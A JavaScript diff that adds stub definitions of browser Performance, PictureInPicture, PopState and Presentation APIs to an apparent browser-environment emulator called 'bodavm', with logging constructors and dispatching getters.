+bodavm.toolsFunc.defineProperty('PerformanceNavigation', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigation'].prototype, "PerformanceNavigation", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "redirectCount", { + configurable: true, + enumerable: true, + get: function redirectCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigation'].prototype, "PerformanceNavigation", "redirectCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_NAVIGATE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RELOAD", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_BACK_FORWARD", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RESERVED", { + configurable: false, + enumerable: true, + writable: false, + value: 255 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigation'].prototype, "PerformanceNavigation", "toJSON", arguments); + } +}, 'prototype'); +// PerformanceNavigationTiming对象 + +bodavm.memory.globalobj['PerformanceNavigationTiming'] = function PerformanceNavigationTiming() { + console.log_copy('PerformanceNavigationTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceNavigationTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceNavigationTiming'], "PerformanceNavigationTiming"); +bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceResourceTiming'].prototype; +bodavm.memory.globalobj['PerformanceNavigationTiming'].__proto__ = bodavm.memory.globalobj['PerformanceResourceTiming']; +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "unloadEventStart", { + configurable: true, + enumerable: true, + get: function unloadEventStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "unloadEventStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "unloadEventEnd", { + configurable: true, + enumerable: true, + get: function unloadEventEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "unloadEventEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domInteractive", { + configurable: true, + enumerable: true, + get: function domInteractive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domInteractive_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domContentLoadedEventStart", { + configurable: true, + enumerable: true, + get: function domContentLoadedEventStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domContentLoadedEventStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domContentLoadedEventEnd", { + configurable: true, + enumerable: true, + get: function domContentLoadedEventEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domContentLoadedEventEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "domComplete", { + configurable: true, + enumerable: true, + get: function domComplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "domComplete_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "loadEventStart", { + configurable: true, + enumerable: true, + get: function loadEventStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "loadEventStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "loadEventEnd", { + configurable: true, + enumerable: true, + get: function loadEventEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "loadEventEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "redirectCount", { + configurable: true, + enumerable: true, + get: function redirectCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "redirectCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceNavigationTiming', "activationStart", { + configurable: true, + enumerable: true, + get: function activationStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigationTiming'].prototype, "PerformanceNavigationTiming", "activationStart_get", arguments); + }, + set: undefined +}, 'prototype'); +// PerformanceObserver对象 + +bodavm.memory.globalobj['PerformanceObserver'] = function PerformanceObserver() { + console.log_copy('PerformanceObserver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceObserver)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PerformanceObserver': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceObserver'], "PerformanceObserver"); +bodavm.toolsFunc.defineProperty('PerformanceObserver', "supportedEntryTypes", { + configurable: true, + enumerable: true, + get: function supportedEntryTypes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].undefined, "PerformanceObserver", "supportedEntryTypes_get", arguments); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('PerformanceObserver', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].prototype, "PerformanceObserver", "disconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceObserver', "observe", { + configurable: true, + enumerable: true, + writable: true, + value: function observe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].prototype, "PerformanceObserver", "observe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceObserver', "takeRecords", { + configurable: true, + enumerable: true, + writable: true, + value: function takeRecords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserver'].prototype, "PerformanceObserver", "takeRecords", arguments); + } +}, 'prototype'); +// PerformanceObserverEntryList对象 + +bodavm.memory.globalobj['PerformanceObserverEntryList'] = function PerformanceObserverEntryList() { + console.log_copy('PerformanceObserverEntryList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceObserverEntryList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceObserverEntryList'], "PerformanceObserverEntryList"); +bodavm.toolsFunc.defineProperty('PerformanceObserverEntryList', "getEntries", { + configurable: true, + enumerable: true, + writable: true, + value: function getEntries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserverEntryList'].prototype, "PerformanceObserverEntryList", "getEntries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceObserverEntryList', "getEntriesByName", { + configurable: true, + enumerable: true, + writable: true, + value: function getEntriesByName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserverEntryList'].prototype, "PerformanceObserverEntryList", "getEntriesByName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceObserverEntryList', "getEntriesByType", { + configurable: true, + enumerable: true, + writable: true, + value: function getEntriesByType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceObserverEntryList'].prototype, "PerformanceObserverEntryList", "getEntriesByType", arguments); + } +}, 'prototype'); +// PerformanceServerTiming对象 + +bodavm.memory.globalobj['PerformanceServerTiming'] = function PerformanceServerTiming() { + console.log_copy('PerformanceServerTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceServerTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceServerTiming'], "PerformanceServerTiming"); +bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "description", { + configurable: true, + enumerable: true, + get: function description() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "description_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceServerTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceServerTiming'].prototype, "PerformanceServerTiming", "toJSON", arguments); + } +}, 'prototype'); +// PerformanceTiming对象 + +bodavm.memory.globalobj['PerformanceTiming'] = function PerformanceTiming() { + console.log_copy('PerformanceTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceTiming'], "PerformanceTiming"); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "navigationStart", { + configurable: true, + enumerable: true, + get: function navigationStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "navigationStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "unloadEventStart", { + configurable: true, + enumerable: true, + get: function unloadEventStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "unloadEventStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "unloadEventEnd", { + configurable: true, + enumerable: true, + get: function unloadEventEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "unloadEventEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "redirectStart", { + configurable: true, + enumerable: true, + get: function redirectStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "redirectStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "redirectEnd", { + configurable: true, + enumerable: true, + get: function redirectEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "redirectEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "fetchStart", { + configurable: true, + enumerable: true, + get: function fetchStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "fetchStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domainLookupStart", { + configurable: true, + enumerable: true, + get: function domainLookupStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domainLookupStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domainLookupEnd", { + configurable: true, + enumerable: true, + get: function domainLookupEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domainLookupEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "connectStart", { + configurable: true, + enumerable: true, + get: function connectStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "connectStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "connectEnd", { + configurable: true, + enumerable: true, + get: function connectEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "connectEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "secureConnectionStart", { + configurable: true, + enumerable: true, + get: function secureConnectionStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "secureConnectionStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "requestStart", { + configurable: true, + enumerable: true, + get: function requestStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "requestStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "responseStart", { + configurable: true, + enumerable: true, + get: function responseStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "responseStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "responseEnd", { + configurable: true, + enumerable: true, + get: function responseEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "responseEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domLoading", { + configurable: true, + enumerable: true, + get: function domLoading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domLoading_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domInteractive", { + configurable: true, + enumerable: true, + get: function domInteractive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domInteractive_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domContentLoadedEventStart", { + configurable: true, + enumerable: true, + get: function domContentLoadedEventStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domContentLoadedEventStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domContentLoadedEventEnd", { + configurable: true, + enumerable: true, + get: function domContentLoadedEventEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domContentLoadedEventEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "domComplete", { + configurable: true, + enumerable: true, + get: function domComplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "domComplete_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "loadEventStart", { + configurable: true, + enumerable: true, + get: function loadEventStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "loadEventStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "loadEventEnd", { + configurable: true, + enumerable: true, + get: function loadEventEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "loadEventEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceTiming'].prototype, "PerformanceTiming", "toJSON", arguments); + } +}, 'prototype'); +// PeriodicSyncManager对象 + +bodavm.memory.globalobj['PeriodicSyncManager'] = function PeriodicSyncManager() { + console.log_copy('PeriodicSyncManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PeriodicSyncManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PeriodicSyncManager'], "PeriodicSyncManager"); +bodavm.toolsFunc.defineProperty('PeriodicSyncManager', "getTags", { + configurable: true, + enumerable: true, + writable: true, + value: function getTags() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PeriodicSyncManager'].prototype, "PeriodicSyncManager", "getTags", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PeriodicSyncManager', "register", { + configurable: true, + enumerable: true, + writable: true, + value: function register() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PeriodicSyncManager'].prototype, "PeriodicSyncManager", "register", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PeriodicSyncManager', "unregister", { + configurable: true, + enumerable: true, + writable: true, + value: function unregister() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PeriodicSyncManager'].prototype, "PeriodicSyncManager", "unregister", arguments); + } +}, 'prototype'); +// PeriodicWave对象 + +bodavm.memory.globalobj['PeriodicWave'] = function PeriodicWave() { + console.log_copy('PeriodicWave 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PeriodicWave)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PeriodicWave': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PeriodicWave'], "PeriodicWave"); +// personalbar对象 + +bodavm.memory.globalobj['personalbar'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['personalbar'].__proto__ = bodavm.memory.globalobj['BarProp'].prototype; +// PictureInPictureEvent对象 + +bodavm.memory.globalobj['PictureInPictureEvent'] = function PictureInPictureEvent() { + console.log_copy('PictureInPictureEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PictureInPictureEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PictureInPictureEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PictureInPictureEvent'], "PictureInPictureEvent"); +bodavm.memory.globalobj['PictureInPictureEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PictureInPictureEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PictureInPictureEvent', "pictureInPictureWindow", { + configurable: true, + enumerable: true, + get: function pictureInPictureWindow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureEvent'].prototype, "PictureInPictureEvent", "pictureInPictureWindow_get", arguments); + }, + set: undefined +}, 'prototype'); +// PictureInPictureWindow对象 + +bodavm.memory.globalobj['PictureInPictureWindow'] = function PictureInPictureWindow() { + console.log_copy('PictureInPictureWindow 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PictureInPictureWindow)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PictureInPictureWindow'], "PictureInPictureWindow"); +bodavm.memory.globalobj['PictureInPictureWindow'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PictureInPictureWindow'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PictureInPictureWindow', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PictureInPictureWindow', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PictureInPictureWindow', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "onresize_set", arguments); + } +}, 'prototype'); +// PopStateEvent对象 + +bodavm.memory.globalobj['PopStateEvent'] = function PopStateEvent() { + console.log_copy('PopStateEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PopStateEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PopStateEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PopStateEvent'], "PopStateEvent"); +bodavm.memory.globalobj['PopStateEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PopStateEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PopStateEvent', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PopStateEvent'].prototype, "PopStateEvent", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +// postMessage对象 + +bodavm.memory.globalobj['postMessage'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('postMessage', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('postMessage', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "postMessage" +}); +// Presentation对象 + +bodavm.memory.globalobj['Presentation'] = function Presentation() { + console.log_copy('Presentation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Presentation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Presentation'], "Presentation"); +bodavm.toolsFunc.defineProperty('Presentation', "defaultRequest", { + configurable: true, + enumerable: true, + get: function defaultRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Presentation'].prototype, "Presentation", "defaultRequest_get", arguments); + }, + set: function defaultRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Presentation'].prototype, "Presentation", "defaultRequest_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Presentation', "receiver", { + configurable: true, + enumerable: true, + get: function receiver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Presentation'].prototype, "Presentation", "receiver_get", arguments); + }, + set: undefined +}, 'prototype'); +// PresentationAvailability对象 + +bodavm.memory.globalobj['PresentationAvailability'] = function PresentationAvailability() { + console.log_copy('PresentationAvailability 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationAvailability)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationAvailability'], "PresentationAvailability"); +bodavm.memory.globalobj['PresentationAvailability'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PresentationAvailability'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PresentationAvailability', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationAvailability'].prototype, "PresentationAvailability", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationAvailability', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationAvailability'].prototype, "PresentationAvailability", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationAvailability'].prototype, "PresentationAvailability", "onchange_set", arguments); + } +}, 'prototype'); +// PresentationConnection对象 + +bodavm.memory.globalobj['PresentationConnection'] = function PresentationConnection() { + console.log_copy('PresentationConnection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationConnection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnection'], "PresentationConnection"); +bodavm.memory.globalobj['PresentationConnection'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PresentationConnection'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PresentationConnection', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "onconnect", { + configurable: true, + enumerable: true, + get: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onconnect_get", arguments); + }, + set: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onconnect_set", arguments); + } +}, 'prototype'); 